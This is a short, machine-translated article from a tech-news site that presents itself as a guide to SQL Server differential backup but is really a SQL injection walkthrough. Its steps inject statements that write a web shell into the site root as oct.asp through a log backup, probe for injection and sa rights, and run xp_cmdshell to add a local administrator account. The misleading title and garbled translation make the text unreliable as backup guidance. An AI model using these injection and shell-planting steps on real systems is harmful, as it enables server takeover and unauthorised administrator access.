Shulou(Shulou.com)05/31 Report--

How to achieve differential backup in sqlserver, I believe that many inexperienced people do not know what to do. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

Steps to manually implement differential backup

Character type:

1. Restore the current library; alter database the current library set RECOVERY FULL--

2. Create table cmd;create table cmd (an image)--

3. Back up the current library to D:\ cmd1;backup log current library to disk ='D:\ cmd1' with init--

4. Insert a sentence code into the created table cmd;insert into cmd (a) values ('')--

5. Back up the one-sentence code to the root directory of the site; backup log's current library to disk ='D:\ www_web\ oct.asp'--

6. Finish; table created by drop table--

Digital type

1. Restore the current library'; alter database current library set RECOVERY FULL--

2. Create table cmd';create table cmd (an image)--

3. Back up the current library to D:\ cmd1';backup log current library to disk ='D:\ cmd1' with init--

4. Insert a sentence code into the created table cmd';insert into cmd (a) values ('')--

5. Back up the one-sentence code to the site root directory; backup log current library to disk ='D:\ www_web\ oct.asp'--

6. Finish the table created by drop table--

Sa permission to create administrator user

1. Determine whether there is injection; and 1: 1; and 1: 2; and user_name () = 'dbo' to determine whether the connected user of the current system is sa

2. Add the administrator of the system; exec master.dbo.xp_cmdshell 'net user wk wk90/add';--; exec master.dbo.xp_cmdshell' net localgroup administrators wk / add';--

After reading the above, have you mastered how to achieve differential backup in sqlserver? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.